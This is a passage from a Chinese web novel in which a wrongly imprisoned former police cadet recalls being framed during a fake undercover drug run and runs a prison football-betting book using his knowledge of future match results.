“我不需要署名,甚至不需要任何形式的官方认可。”
林燃立刻接口,仿佛早料到她会这么说。
“就像这次一样。你可以用你的方式转化信息,功劳是你的。我只需要你知道,信息来自我。
并且,在可能的情况下,帮我查一些……关于我案子的、外围的、不敏感的信息。
作为交换,我可以继续提供我‘思考’的成果——
不一定都是绑架杀人案,或许是一些陈年旧案的线索,或许是某些大案细节的提醒。”
秦墨久久凝视着玻璃后的林燃。
他的眼神清澈而坚定,没有谄媚,没有疯狂,只有一种深潭般的沉静和隐藏在深处的、不屈的火光。
“我不能承诺什么,特别关于你的案子,我不是法官,也无法接触你的案卷,我无法判断……”
沉默后,她回答。
“但……如果有合适的、不违反纪律的情况,我可以试着……为你提供一点帮助。”
这就够了。
林燃心里那根紧绷的弦微微一松。
他点了点头,没有再多说一句恳求或保证的话。
“谢谢。”
他只是简单地吐出两个字。
“还有,你之前说过的以‘线人提供线索’的方式来记功,现在我没办法答应你,我……”
“理解。”
林燃笑道:“嗯,现在我可以请你帮我一个小忙吗?”
秦墨没想到他的请求来的这么快,略有惊讶的点了点头。
“你别紧张,一个很小的事,我就想问下,我们安江有一位姓姚的局长吗?可能是一位副局长,分管地下战线的。”
“姓姚?我不记得有哪位局长姓姚啊,而地下战线的分工不会公布,我也不知道哪位副局长分管这一块。”
秦墨的答案和林燃已有所料。
探视结束的铃声此时刺耳响起。
林燃放下冰凉的塑料通话器,隔着玻璃对秦墨点了点头。
后者也微微颔首,眼神复杂地最后看了他一眼,转身就要离开会见室。
狱警走过来,重新给他戴上手铐。
金属扣环“咔嗒”合拢的瞬间,一阵熟悉的冰冷从腕骨传遍全身。
回到残酷现实。
突然,秦墨转头问了他一句:
“我们学校的校训是什么?”
“忠、贞、智、勇!”
林燃几乎是不假思索的回答出来。
是的,这是每位警校学警从入校第一天起,学到的第一课。
秦墨笑着点了点头。
这是这位短发女警第一次对他露出笑脸。
这一下,她算是相信了眼前的警校同学。
再无迟疑,转头走出会见室。
但身后的林燃心里却默念道:
“其实校训还有后面四个字——奉、献、为、民,这是地下战线的同志,在隐秘工作时,无声的誓词……”
但这些话他没有说出来,
“走了。”
狱警推了他肩膀一下。
穿过那道厚重的铁门,外面的走廊光线昏暗。
林燃低着头,目光落在自己脚上那双磨得发白的监狱布鞋上。鞋尖沾了点灰尘,他盯着那点污渍,思绪却已经飘远。
姚局。
那个名字像一根刺,扎在他记忆最深处,每一次触碰都带来绵长的钝痛。
他还记得那天——确切地说,是重生前那一世的2000年6月12日,星期二,天气闷热得让人喘不过气。
毕业季。
下午三点二十分,他刚结束在刑侦支队的最后一轮实习考核,背着装满资料和笔记的旧帆布包,从市局大楼走出来。
汗水浸湿了警用短袖衬衫的后背,黏在皮肤上。
“林燃!”
他回头,看到一个穿着便装、约莫四十出头的中年男人站在门卫室旁。
男人个子不高,微胖,头发梳得一丝不苟,脸上挂着和煦的笑容,头发梳的“三七分”,带着眼镜。
“您是?”
“政治处的。”男人掏出证件晃了晃,动作很快,林燃只瞥见封皮上的警徽和“政治处”几个字,“有点事找你,跟我来。”
林燃当时没多想。警校即将毕业,分配在即,政治处的干部找谈话很正常。
他甚至有点兴奋——会不会是因为自己表现良好提前安排?
男人带着他出了大门,进了旁边一栋不起眼的三层小楼。
楼梯间很暗,声控灯坏了,只有高处一扇小窗透进些许光线。
二楼,最里面的办公室。
男人推开门,示意他进去。
办公室不大,陈设简单得几乎简陋:
一张旧办公桌,两把椅子,一个铁皮文件柜。窗帘拉着,屋里没开灯,很暗,只有窗帘透出来的一点光。
里面已经有另外一个人在等了。
“坐,这位是我们局长。”
男人自己先坐下,从抽屉里摸出烟盒,抽出一支点上。
旁边那人头抬了抬,没说话。
这是一个光头,自我介绍他是安江市局的副局长,姓姚。
第二十五章 控制下交付
这一刻,林燃还不知道自己的命运即将改变。
对面的姚局向林燃出示了下证件。
“好,人带到了,你们谈。”
接着,旁边那位政治处的干部就起身离开了。
走之前,他将门带好,示意接下来谈的才是正事。
这姚局倒没急着开始,他先了点根烟,眯着眼盯着林燃。
眼神如刀一般,将他浑身上下剜了几遍。
林燃被他盯得有些不太安生,但还是耐心等着对方先开口。
良久,这光头姚局才用烟头点着他道:
“我叫姚永军,分管一些……特殊工作。”
男人吐出一口烟,透过烟雾打量他,
“你的实习评价我看过了,不错。刘一魁那老鬼很少夸人,但对你评价很高。
他说你有种‘接近病态的观察力’,很适合干这行。”
面对表扬,林燃青涩的笑了笑。
“我手头有个任务。”
姚永军弹了弹烟灰,语气变得严肃。
“需要个生面孔,警校刚毕业的最好,底子干净,背景简单。
你不是本地人,父母都是普通工人,社会关系清楚,符合条件。”
“什么任务?”
林燃听到自己的心跳在加快。
“你知道什么是地下战线么?”
公安地下战线?
作为警校毕业生的林燃当然知道。
说白了就是特情、卧底这些。
每年警校毕业生分配地方时,有些市局都喜欢提前在这些新警中选出好苗子,作为卧底使用。
毕竟年纪轻、面生、没在本地出现过、又经过专业训练、靠得住,最适合打入犯罪团伙内部。
林燃早就听师兄说过这种场面,此时倒也不算诧异。
何况他们毕业时,甚至还有安全部门的过来选人的情况,地下战线倒也不算太少见。
“我知道。”
沉吟片刻,林燃就点了点头。
“这样,我们这里有个大的涉毒团伙,组织很严密,手段很厉害,我们一直抓不到把手。
现在有个机会,能放一个弟兄进去做‘钉子’,我看了你的简历,很适合,希望你考虑一下。”
果然,是想安排自己做卧底。
虽然知道警校毕业生会有这种机会,警校上课时也讲过卧底侦查,但那都是书上的理论,遥远的传说。
他从未想过自己会真的接触这种任务。
“为什么选我?”
他听见自己问,声音有点干。
“因为你够聪明,也够冷静。实习期间那七起案子的分析报告我都看了。
特别是最后那起伤害案,你能从那么细微的矛盾点切入,说明你有天赋。
而且你话不多,懂得什么时候该说话,什么时候该闭嘴——
这在卧底工作中很重要。”
姚永军盯着他的眼睛。
“还有,我听说你是这一届里面最优秀的?”
林燃不知该怎么接话,只好保持沉默。
他在盘算。
地下战线极其的复杂和危险,过往不少新警就是死在这条战线上。
可领导直接找到自己,如果拒绝……
见他在犹豫,姚局此时也补充道:
“你放心,这个我们肯定会保护你的,刚刚政治处的同志带你来的,你等于是已经报过到了。
档案也提到我们市局了,只是会暂时封存而已,对你的身份进行保密。
但是待遇、工资这些,已经计算了,还有特殊岗位津贴……”
“姚局,我不是担心这个。”
林燃赶紧表示自己不是怀疑对方。
虽然他此时注意到桌上没有名牌,也没有任何文件。这不太像常有人办公的地方。
“那你还有什么好担心的,这个团伙我们也有特情在里面,你接下来只要等指示,按部就班完成任务就行。
这个案子也不会很久,最多几个月。收线之后,立功表现会记入档案,我还会保你直接提中队长!”
听到这,林燃心动了一下。
他的呼吸变得有些急促。恐惧和兴奋同时涌上来。
他知道这很危险,但一个刚出警校的年轻人,面对这样的机会,很难不被诱惑。
他在警校各项都十分优秀,分配到安江时,想的也是尽早从一届同学里出人头地。
卧底自然是出头的好机会。
可是……
“我记得你是党员吧?这现在组织需要你的时候,你是这个态度?!”
姚局这句话的份量,让林燃最终还是点了点头。
“我需要做什么?”
姚永军从抽屉里拿出一个牛皮纸信封,推过来。“
这里面是你的‘新身份’:林浩,二十一岁,长洲县人,初中辍学后在社会上混,有过两次治安拘留记录。
背景故事要背熟。然后我会安排一个内线和你接触,你跟着他先混一段时间。”
林燃接过信封,很薄,但很重。
“记住几条规矩。”
姚永军竖起手指。
“第一,这个任务只有你我知道。
不能告诉任何人,包括你的父母、同学、老师。
第二,从你打开信封的那一刻起,你就是林浩,不是林燃。
第三,无论发生什么,不要主动联系我,相信我的指令。明白吗?”
“明白。”
“好。”
姚永军站起身,伸出手。
“保重。三个月后,我等你回来。”
林燃握住那只手,手掌厚实,有力。
而他当时还不知道,这下巨大的悲剧从此开始。
…………
接下来,林燃就没有到市局正常报到。
而是按姚局的指示,烫头发,做纹身,一身装扮后,和一个叫“狗皮蛇”的小头目接上线。
“狗皮蛇”带着林燃混了一段时间,渐渐接触了团伙的几个人,然后把他带到了居所。
每天就和这伙人住在一起,算是成了一名马仔。
这种日子太过煎熬,好在林燃算是能够忍耐。
任务总算来了。
这天“狗皮蛇”要他亲自送一份“货”到邻市去。
林燃一听就知道这是毒货,卧底的大忌就是自己亲自出手。
眼下这“狗皮蛇”把自己当“矮骡子”搞,当即有些不太想做。
可姚局指使他配合,说这是“控制下交付”。
“控制下交付”是一个特侦术语,意思这次送货是在警方示意下进行的,可以免罪。
林燃听到这才同意接下任务。
“晚上九点,城西老码头,三号仓库取货。”
外表猥琐的“狗皮蛇”叮嘱道。
林燃点了点头。
“明白。”
第二十六章 回忆
…………
“喂!发什么愣!”
肩膀被猛地一推,林燃踉跄一步,从回忆中惊醒。
已经走到放风广场,下午的阳光刺眼,他眯起眼睛。
押送的狱警不耐烦地催促:“快点!磨蹭什么!”
林燃加快脚步,手铐的链条哗啦作响。
他继续回忆。
那天晚上,他遵循姚局的指示。
按照“狗皮蛇”的要求,骑着从二手市场买的破摩托车去了城西老码头。
“晚上九点,城西老码头,三号仓库。”
林燃心里复述着细节。
老码头已经废弃多年,荒草丛生,路灯大多坏了,只有远处货轮的汽笛声偶尔传来。
三号仓库锈迹斑斑,铁门虚掩着,里面一片漆黑。
林燃在门口站了几分钟,心跳如鼓。
最终,他推门进去。
仓库里堆着些破木箱和废轮胎,空气里有股霉味和铁锈味。
月光从破屋顶的缝隙漏下来,在地面投出斑驳的光影。
他等了大概二十分钟,什么也没发生。
就在他开始怀疑是不是搞错了时间地点时,角落里传来窸窣声。
两个人影从阴影里走出来。
一高一矮,都穿着深色衣服,看不清脸。
“林浩?”高个子问,声音粗哑。
“是我。”
“跟狗皮蛇的?”
林燃:“跟狗皮蛇的。”
矮个子不耐烦地啧了一声:
“妈的,问一句说一句,要干什么不知道吗?”
“不知道”
林燃故意不接话。
“少他妈装傻!”
高个子突然上前,一把揪住林燃的衣领。
“‘双狮地球’五十克!装在这个茶叶罐里,送到东城宾馆307房间,交给一个叫‘阿华’的。
钱已经付过了,你只管送货拿收条回来!”
一个硬邦邦的圆柱形物体塞进林燃手里。
是个普通的铁皮茶叶罐,分量很轻。
林燃脑子里“嗡”的一声。
‘双狮地球’是一个金色三角集团创立的白粉品牌,以99.9%纯度著称。
最著名的是其商标——一个红色圆形剪纸风格,中心为双狮环抱地球的图案,这是全球毒贩手里的硬通货。
硬到需要标注"提防假冒""纯净100%""一帆风顺"“毒品砖体浮雕"999"纯度标识”等各种字样来防伪。
‘双狮地球’由坤沙集团推向全球市场,通过美军渠道在越战期间扩散至欧美,1990年代成为全球海洛因交易主导品牌。
这个五十克?是要牢底坐穿的量了!
“我……”他想说什么,但高个子打断他。
“你要是不敢,现在就可以滚。但以后就别想在这行混了。”
高个子松开手,冷笑,“怎么选?”
林燃的掌心全是汗。
茶叶罐冰凉的外壳贴着皮肤,却火烙般的疼。
他想起了姚永军的话:
“无论发生什么,不要主动联系我,相信我的指令。”
这是“控制下交付”,对,没事的,就是以后上了法庭,这也不够罪。
卧底任务需要取得信任,有时不得不参与一些边缘活动。姚永军肯定都安排好了,不会有事的。
他深吸一口气,握紧茶叶罐:
“东城宾馆307,阿华。知道了。”
“聪明。”
矮个子拍了拍他肩膀。
“去吧。十二点前回来交收条。”
林燃转身走出仓库,腿有些发软。
摩托车发动的声音在寂静的码头上显得格外刺耳。
去东城宾馆的路上,他一直在说服自己:
这是任务的一部分,是必要的。就算以后追查,姚永军那一定能帮自己澄清,这只是走个形式。
等送完货,拿到收条,他就能进一步取得信任,接触到更核心的信息。
他记得很清楚,当时是晚上十点十分。
东城宾馆在老城区,骑摩托车大概需要二十分钟。
但就在他骑到半路,经过一个偏僻的十字路口时,刺眼的警灯突然从四面八方亮起。
“停车!警察!”
三四辆警车堵住了所有去路,十几个警察冲出来,枪口对准他。
“双手抱头!下车!”
林燃懵了。
他下意识地举起手,从摩托车上下来。
脑子里一片空白。
“搜!”
两个警察冲上来,把他按在摩托车上,迅速搜身。
茶叶罐从怀里被摸出来,打开。
“报告!发现白色粉末!”
“带走!”
林燃的头一下炸了,但他来不及多想,甚至以为这只是演给毒贩看的。
他决定先配合着上了警车。
到了单独讯问的讯问室里,他就迫不及待地表示自己是卧底特情,请问话警察赶紧和姚局核实。
可没想到对方只是冷冷地一拍桌子:
“哪个姚局!?我们这没有姓姚的领导!小子,演戏演全套啊,别我们领导阳光栏都没背好就出来混。”
林燃当时就懵了。
他赶紧争辩起来,将前因后果和对方解释,可怎么也说不通。
“我……我是警校毕业生啊!我有分配档案的啊!”
他赶紧表示自己是分配到安江的新警,同时告知了自己的真实身份。
可对方查了下档案后表示:
“对不起,你当时没有按时报到,多次联系不上后,你也超过报到期限未提档,从程序上来讲,你并不属于我们在编民警。”
“怎么可能!”
林燃脑子几乎炸裂开来。
但一个巨大的阴谋在他脑海中浮现。
这……这是算计好的!
就这样,他稀里糊涂地进了看守所。
在此期间,他无数次的申冤辩解。
可不管是提审民警,还是检察官,都表示他并不属于安江市局登记在案的卧底人员。
也没有一位姓姚的局长。
法庭上,检察官出示了茶叶罐、毒品检测报告。
一审,运输毒品罪,数额较大,判处有期徒刑十年。
上诉期间,他在看守所遇到了“鳄老大”刘子明,就发生了那场改变他一生的袭击。
再后来,就是十年瘫痪,家破人亡,最终在火焰中重生。
……
“到了。”狱警的声音把林燃拉回现实。
好在……好在这一世他重新活了回来。
等着吧,等着……
“我会把你们的骨头,一根一根,插在当年的码头上。”
第二十七章 开门红
铁门在身后关闭,将回忆暂时隔绝。
林燃重新谋划现实。
秦墨这条线,算是初步搭上了。
但远水难解近渴,监狱里最现实的问题——
钱,依旧是一把钝刀子,悬在咽喉。
回到312监舍,刀疤辉几人罕见地没凑上来阴阳怪气,只是眼神复杂地瞥了他几眼,便各自缩回了铺位。
林燃“上面有人”的风声,加上他两次血拼立下的凶名,让这几个老油条彻底熄了试探的心思,至少表面上老实了。
接下来几天,林燃的生活规律得简直刻板。
白天去阅览室“工作”,整理书籍,擦拭灰尘,偶尔在老赵头默许下翻看新送来的《体坛周报》和《足球》杂志。
他将所有关于十强赛分组预测、球队近况、专家分析。
尤其是那些悲观论调的关键信息,不动声色地记在心里,并与脑海中那份笃定的“未来答案”反复印证。
这期,十强赛抽签结果出炉:
中国队与阿联酋、阿曼、卡塔尔、乌兹别克斯坦同处B组。
媒体一片哗然——避开了伊朗、沙特,这签运简直好到不可思议!
但舆论依然谨慎,甚至带着惯性悲观:“西亚群狼围剿”、“客场作战困难”、“心理素质成疑”......
林燃看着报纸上的分析,心里暗喜。
他记得很清楚:
十强赛开打后,中国队首战主场3-0大胜阿联酋,开门红。
随后客场2-0胜阿曼,1-1平卡塔尔,2-0胜乌兹别克斯坦......
前四轮三胜一平,出线形势一片大好。最终提前两轮锁定世界杯入场券。
现在,所有人都在讨论“死亡之组”的可能性,他却知道那枚骰子落地后会是几点。
赌局在铁头的奔走下悄然铺开。
最初只有三监区的五六个“球迷”参与,赌注很小。
一条烟、几包方便面,折算成“点数”记在铁头私下用作业本纸钉成的小册子上。
林燃定的规则简单:
赌中国队能否小组出线。
赔率1:2.5——押“能”的,押1点,若中,得2.5点;押“不能”的,押1点,若中,得1.5点。
这个赔率设置精妙:
表面上对“出线”一方更有利,但实际上利用了犯人们普遍悲观的心理,诱导更多人押“不能”。
“燃哥,这赔率......咱们不是亏吗?”
铁头私下问,他数学不好,但觉得2.5比1.5高太多。
林燃正在阅览室整理旧杂志,头也不抬:
“现在十个人里,几个觉得能出线?”
铁头掰手指:
“我认识的那几个......最多两个,还是死忠球迷,其他的都觉得没戏。”
“那就对了。”
林燃合上一本《知音》。
“如果十个人里,八个人押‘不能’,每人押10点,总押注80点;
两个人押‘能’,每人押10点,总押注20点。
结果出来后,押‘不能’的全输,80点归庄家;
押‘能’的赢,每人得25点,总共付出50点。
庄家净赚30点。”
铁头瞪大眼睛,半天才反应过来:
“我艹!燃哥你真是......脑子太好使了!”
“前提是,结果得按我们知道的来。”
林燃语气平淡。
”所以,第一期,限额。每人最多押50点。等第一场打完,看情况再调整。”
“明白!”
第一轮投注在这个月中旬截止。
林燃通过铁头汇总上来的册子,看到押注情况完全符合预期:
参与人数扩大到十二人,总押注点数420点,其中押“不能”的占370点。
押“能”的仅50点。押“能”的两个人。
一个是铁头自己——他听了林燃的分析后咬牙押了30点。
另一个是隔壁监舍一个老球迷,纯粹凭感情支持。
周六,首战阿联酋的日子。
这一天,监狱里气氛与往常无异。
但三监区那几个参与了赌局的犯人,明显有些心神不宁。
放风时聚在一起,低声议论,眼神时不时瞟向综合楼二层的窗户——那里是阅览室。
林燃像往常一样,上午八点准时到阅览室上班。
老赵头今天心情不错,因为儿子考上大学,特意带了一包糖,分给林燃几颗,算是散喜。
“小林啊,今天有比赛啊!可惜我们在这里看不了,只能明天等结果。”
老赵头剥了颗糖塞嘴里。“
你先整理下上个月的《法制日报》,按日期排好。”
“好的赵干部。”
林燃接过糖,是普通的水果硬糖,甜得发腻。
他含在嘴里,开始工作。
心思却飘到了千里之外的沈阳五里河体育场。
下午三点,比赛开始。
虽然看不到直播,但林燃能想象那个场景:
全场爆满,红旗招展,“中国队加油”的呐喊山呼海啸。
他记得那场比赛的每一个关键节点:
开场第3分钟,李霄鹏补射破门;第19分钟,祁宏头球再下一城;第34分钟,锁定胜局......3-0,一场酣畅淋漓的大胜。
他会知道,是因为前世在病床上,曾无数次回看那场比赛的录像。
那是中国足球历史上最辉煌的时刻之一,也是他瘫痪岁月里少数能带来一丝慰藉的记忆。
而现在,这场比赛的结果,将成为他在监狱里攫取第一桶金的基石。
第二天,邮差终于来了。
老赵头签收了一沓报纸,最上面那份《体坛周报》的标题赫然醒目:
老赵头边看边啧啧:“可以啊这帮小子!踢得不错!”
林燃凑过去,故作惊讶:“赢了?还3-0?”
“你看!”老赵头把报纸推过来,头版照片是球员庆祝的大幅彩照,“踢得漂亮!李霄鹏、祁宏各进一个!”
林燃仔细看报道,确认比分和细节与记忆无误。
他脸上露出恰到好处的笑容:
“那是好事啊。”
“好事是好事,就怕后面拉胯。”
老赵头摇头,老球迷的谨慎。
“这才第一场,路还长着呢。”
第二十八章 举报
林燃点头附和,心里却在计算:
第一场大胜,必然会动摇一部分悲观者的信心。
但还不够,需要再来一场胜利,让“出线可能”真正成为多数人开始犹豫的选项。
而那时,才是庄家收割的最好时机。
当天晚上,消息通过各种渠道在监区里传开。
犯人之间不允许私传报纸,但口耳相传的速度更快。
三监区那几个押了“不能”的犯人脸色不太好看,押了“能”的铁头和那个老球迷则眉飞色舞。
“燃哥!赢了!3-0!”
第二天劳动间隙,铁头偷偷凑到林燃身边,声音压得极低,兴奋得手都在抖。
“我那30点,要是最后真出了,就是75点!能换七条半红塔山!”
林燃正在搬砖,额角有汗,语气平静:
“才第一场。别太张扬。”
“我知道我知道!”
铁头连连点头,但眼里的光藏不住。
“不过燃哥,现在好多人都问我还能不能加注......咱们是不是......”
“第二场打完再说。”
林燃打断他,“记住,稳住。现在高兴太早的,容易栽跟头。”
铁头一凛,想起监狱里那些因为得意忘形被收拾的例子,连忙正色:
“明白了燃哥!”
第一场胜利像一块石头投入死水,涟漪开始扩散。
原先观望的一些犯人开始找铁头打听赌局的事。
林燃让铁头放出风:第一期投注已截止,第二期要等第二场比赛打完再开,但赔率可能会调整。
这种“饥饿营销”反而激起了更多人的兴趣。
监狱生活太枯燥,这种带着智力博弈和运气成分的赌局,成了难得的消遣。
更何况,庄家是林燃——那个被李副监狱长点名表扬、能把“刀疤辉”打服、干翻“鳄老大”、还能从老严手里全须全尾回来的狠人,信用度无形中高了不少。
又一个星期后,中国队客场2-0战胜阿曼。
监狱里的气氛微妙地变化着。
原先坚定认为“不能”的人,开始动摇。而那些从一开始就押了“能”的人,腰杆挺直了许多。
林燃知道,火候到了。
第二期赌局在9月5日悄无声息地开盘。
这次,参与人数暴涨到三十多人,几乎囊括了三监区所有对足球有点兴趣的犯人,甚至其他监区也有人通过关系找到铁头想要参一脚。
林燃调整了规则:
限额提高到每人100点;赔率调整为押“能”1:2.2,押“不能”1:1.8。
这个调整看似降低了“能”的赔率,但实际上,由于前两场的胜利,押“能”的人数必然增加,赔率下调是合理操作,不会引起怀疑。
同时,他引入了新的玩法:
单场胜负平赌局。赌接下来中国队对卡塔尔的比赛结果。
赔率设置同样精心:胜1:2.0,平1:3.5,负1:4.0。
而他记得那场比赛是1-1平局,一个冷门结果。
“燃哥,这平局的赔率是不是太高了?”
铁头看着林燃写在纸上的数字,有些担心。
“要是真有人押平局中了,咱们得赔不少。”
“不会有很多人押平局。”
林燃淡淡道。
“客场打卡塔尔,大部分人要么觉得能小胜,要么觉得会输。平局是最不受待见的选项。”
事实正如他所料。
第二期总押注点数达到惊人的1800点,其中押“能出线”的占到了1100点,押“不能”的700点——悲观者依然不少,但比例已经从最初的绝对优势变成了七三开。
单场投注方面:押胜的1200点,押平的只有200点,押负的400点。
第三场结束,中国队客场1-1战平卡塔尔。
消息传到监狱,押平局的那少数几个人几乎疯狂——200点本金,按1:3.5赔率,净赚500点!
而押胜的1200点全数归庄家。
这一把,林燃作为庄家,在单场赌局上净赚700点,扣除需要支付给出线赌局的可能利润,若最终出线,需支付押“能”者2420点,但押“不能”的700点已归庄家,实际潜在净负债只有1720点,他手中实际可控点数已经超过1000点。
1000点,按黑市汇率,能换100条红塔山,或者50箱方便面,或者通过某些渠道可以折现成近万元现金——在2000年的监狱里,这是一笔巨款。
铁头的小册子已经换成了更厚实的笔记本,上面密密麻麻记录着代号、点数、押注方向。他
本人也靠着早期押注和林燃分给他的“佣金”,积累了超过200点,在犯人中的地位水涨船高。
然而,金钱涌动的地方,必有暗流滋生。
在第三场过后的一个下午,林燃在阅览室整理书架时,老赵头接了个电话,嗯嗯啊啊几句后,脸色不太好看地挂断。
“小林。”
老赵头走到林燃身边,声音压低。
“你最近......是不是在弄什么‘点数’?”
林燃心里一紧,面色不变:
“赵干部,您说的是什么点数?劳动积分吗?”
老赵头盯着他看了几秒,叹了口气:
“你别跟我装傻。监区里都传开了,有个赌球盘,用‘点数’下注,庄家神秘,但大家都猜跟你有关系。”
林燃沉默。
“刚才是狱侦科的老谷打电话,”
老赵头声音更低了。
“他没明说,但暗示监区里有人举报,说有大规模赌博活动,影响改造秩序。他让我‘留意一下’阅览室这边有没有异常。”
谷彦君,林燃想起那个眼神锐利的狱侦科长。
这人不好糊弄。
“赵干部,我就是在阅览室干活,偶尔跟人聊聊球,别的不知道。”
林燃语气诚恳,“要是真有赌局,我也是听别人说的。”
老赵头看了他半晌,摆摆手:
“行了,你自己心里有数就行。我可告诉你,这事可大可小。
要是闹大了,李监那边也保不住你。
监狱里最忌讳两样:一是毒品,二是赌。沾上一样,这辈子别想好了。”
“我明白,谢谢赵干部提醒。”
老赵头背着手走回办公桌,嘟囔一句:“年轻人,走正道啊......”
林燃继续整理书籍,手指拂过一本《刑法》粗糙的封皮,眼神渐冷。
举报?是谁?
第二十九章 祸水东引
刀疤辉那伙人举报自己?
不太像,他们现在表面上服服帖帖,实际上可能怀恨在心,但他们应该没这个胆子直接捅到狱侦科,更可能私下报复。
其他监区的庄家?
监狱里私下赌博历来有之,扑克、骰子,甚至猜管教几点查房都能赌。
但规模这么大、组织这么严密的足球赌盘,确实是头一遭。
可能触动了某些人的利益。
或者......是那个一直隐藏在幕后、把他送进监狱的“姚局”那边的人?
他们在监狱里还有眼线?
都有可能。
但无论哪种,危机已经浮现。
他必须尽快处理。
第二天放风,林燃把铁头叫到操场角落。
“册子给我。”
林燃伸出手。
铁头一愣,从怀里掏出那个笔记本,小心翼翼递过去:
“燃哥,怎么了?”
林燃快速翻阅,找到几个名字,用笔圈出来:
“这三个人,最近投注额突然增大,而且专押冷门。
查一下他们背景,跟哪个干部走得近,或者以前是不是在其他赌局里玩过。”
铁头凑过去看,是三个外监区的犯人,他不太熟:
“燃哥,你怀疑......”
“赌局被人盯上了。”
林燃合上册子,塞回铁头怀里。
“从今天起,停止接受新投注。已经押的,记录封存。单场赌局暂停,只保留出线赌局。
你去跟所有参与的人说,风声紧,大家低调点,赢了钱别太张扬。”
铁头脸色变了:“燃哥,是不是有‘雷子’(指狱警)要查?”
“不确定,但小心为上。”
林燃目光扫过操场上来回巡逻的狱警。
“你最近也收敛点,别给人递烟显摆了。”
“我明白!”
铁头重重点头,随即又有些担忧。
“可是燃哥,咱们现在手里这么多点,好多人眼红。要是突然停了,会不会有人闹事?”
“所以需要你去做工作。”
林燃拍拍他肩膀,“告诉那几个赢了大钱的,钱暂时不能兑,但记着账,等风头过了加价给。
告诉输了的,愿赌服输,谁要是敢闹,以后所有局都不带他玩。另外......”
他顿了顿:
“找机会放出话,就说这个盘背后,有‘上面’的人看着。让大家心里有数。”
铁头眼睛一亮:
“懂了!我这就去办!”
“等等。”
林燃叫住他。
“你之前说,二监区有个叫‘丧彪’的,自己搞扑克局,跟我们这边有过摩擦?”
“对!那孙子眼红我们赌球火,拉过我们的人,没拉走,就放话说我们的盘‘不干净’,迟早出事。”
铁头越说越激动:
“燃哥,你说是不是这孙子点我们的‘水’?我们难道就这么忍了?”
“你不用管,先尽量问清楚,我会想办法”。
虽然林燃已经有了大概方向,但越这个时候,越需要冷静。
铁头去了,窗外是监狱操场,灰蒙蒙的天空下,穿着统一囚服的犯人像蚂蚁般移动。
林燃看着操场,但目光没有焦点,全部心神都沉浸在如何破局的计算中。
举报者必须找到,赌局的威胁必须消除,但不能用暴力——
那只会引来更多注意。他需要的是一个精巧的陷阱,一个让阿彪自己跳进去,还能替他挡住所有火力的计谋。
很快,第二天放风时,铁头就凑了过来。
“打听清楚了。那三个突然下大注的,有一个是二监区的,以前在阿彪的扑克局里输过不少。
另外两个虽然不同监区,但放风时有人看见他们和阿彪的人凑在一起嘀咕!觉得肯定就是他们弄的我们。”
林燃没有回头,只是轻轻“嗯”了一声。
不管是不是阿彪眼红赌球盘的利润,想分一杯羹,分不到就举报。
林燃已经决定弄他了。
“燃哥,怎么办?要不我们花点钱,找些人,反正现在点数多了,而且你这么能打,找机会......”
铁头做了个掐脖子的手势。
“蠢。”
林燃终于正眼对他,眼神冷冽。
“打打杀杀是最低级的解决办法。他现在盼着我们动手,这样狱侦科就能名正言顺地查过来,一查,赌球的事全露。”
铁头讪讪地放下手:“那......”
“他不是喜欢赌吗?”
林燃嘴角勾起一丝冰冷的弧度。
“那就让他赌个大的。”
接下来的三天,林燃表现得异常平静。
他按时去阅览室工作,整理书籍,帮老赵头抄写文件。
放风时,他不再和铁头聚在一起谈球,而是独自在操场边缘慢走,偶尔抬头看看天。
但暗地里,一张网已经悄然张开。
第一步,制造信息差。
林燃利用阅览室的《体坛周报》和几本过期的体育杂志,精心“制造”了一条信息:
由于西亚某国政局动荡,原定于下个月初进行的十强赛关键战役——中国队主场对阿曼的比赛,可能延期至月底,甚至不排除改在中立场地进行的可能性。
这条消息半真半假。
政局动荡是真,但比赛延期的可能性微乎其微。
林燃知道,因为前一世这场比赛如期举行,并成为了中国足球史上的经典时刻——出线之夜。
他让铁头通过几个信得过的、在不同监区都有“朋友”的犯人,将这条消息“无意间”传播出去,甚至表示赌局暂停也是受这影响。
很快,关于“比赛可能延期”的传闻开始在犯人中流传。
起初没人当真,但说的人多了,尤其是一些平时消息“灵通”的犯人也开始煞有介事地分析,气氛就变得微妙起来。
第二步,推波助澜。
林燃知道,阿彪的扑克局主要靠抽水和放贷赚钱,但规模有限。
赌球盘的巨大利润,肯定让他心痒难耐。
现在“比赛可能延期”的消息,对那些已经下注、特别是押了“能出线”的人来说,无疑是个变数——
时间拖得越久,变数越大,万一后面国足状态下滑呢?
这时候,如果有一个“可靠”的内部消息源,能给出“确切”的延期日期,甚至“内幕”判断延期对国足是利是弊,。
就有人愿意为这个信息付费,或者据此调整赌注。
第三十章 借刀杀人
林燃选中了一个人——三监区一个叫“老鬼”的犯人。
这人五十多岁,诈骗罪进来,特点是能说会道,善于察言观色。
最重要的是,他欠着铁头一笔不小的“点数”,而且一直想搭上林燃这条线。
铁头找到老鬼,没提赌局,只是闲聊般说起最近的足球传闻,并“无意间”透露:
“我们燃哥在阅览室,好像听到老赵头提了一嘴这个事,据说他这个资深球迷有内部消息,比赛要延.....具体我也不清楚,燃哥嘴严。”
老鬼的眼睛立刻亮了。
他知道林燃在阅览室工作,和老赵熟,能接触到外面报纸甚至内部材料,这个消息来源听起来就可靠。
接下来两天,老鬼开始在不同场合,神秘兮兮地向人透露:
“我听‘外面’有人说,那比赛九成要延,而且延了对咱们不是坏事,正好让米卢多磨合......”
他当然不说消息来源,但这种欲言又止,反而增加了可信度。
果然,话传到了阿彪耳朵里。
第三步,请君入瓮。
林燃让铁头故意在阿彪一个手下面前“说漏嘴”,抱怨最近赌球盘停了,好多兄弟问什么时候能再玩,特别是关于比赛延期的盘口,肯定火爆。
阿彪那边很快有了反应。
一天放风时,阿彪的一个心腹“瘦皮猴”主动凑到铁头身边,递了支烟,旁敲侧击地问:
“铁头哥,听说你们那边有硬消息?关于比赛延期的?”
铁头按照林燃的嘱咐,装作为难:
“这个......燃哥不让乱说。而且我们现在不搞了,风险大。”
“别啊,”瘦皮猴压低声音。
“彪哥说了,要是消息靠谱,咱们可以合作。你们出消息,我们开盘,利润对半分。你们不用出面,风险我们扛。”
铁头“犹豫”再三,最后“勉强”答应去问问林燃。
林燃的回复是:
消息确实有,但不能白给。他要阿彪那边先拿出“诚意”——
不是钱,而是一个“保障”。
他要求阿彪在二监区自己的扑克局里,开一个关于“比赛是否延期”的独立盘口,接受公开下注,且赌注要用实物(烟、方便面之类监狱硬通货)当场结算,不能记账。
“燃哥这是要干嘛?”
铁头不解。
“让他自己把证据摆到台面上。”
林燃冷笑,“
扑克局是小打小闹,狱警睁只眼闭只眼。但公开用实物赌足球,性质就不一样了。
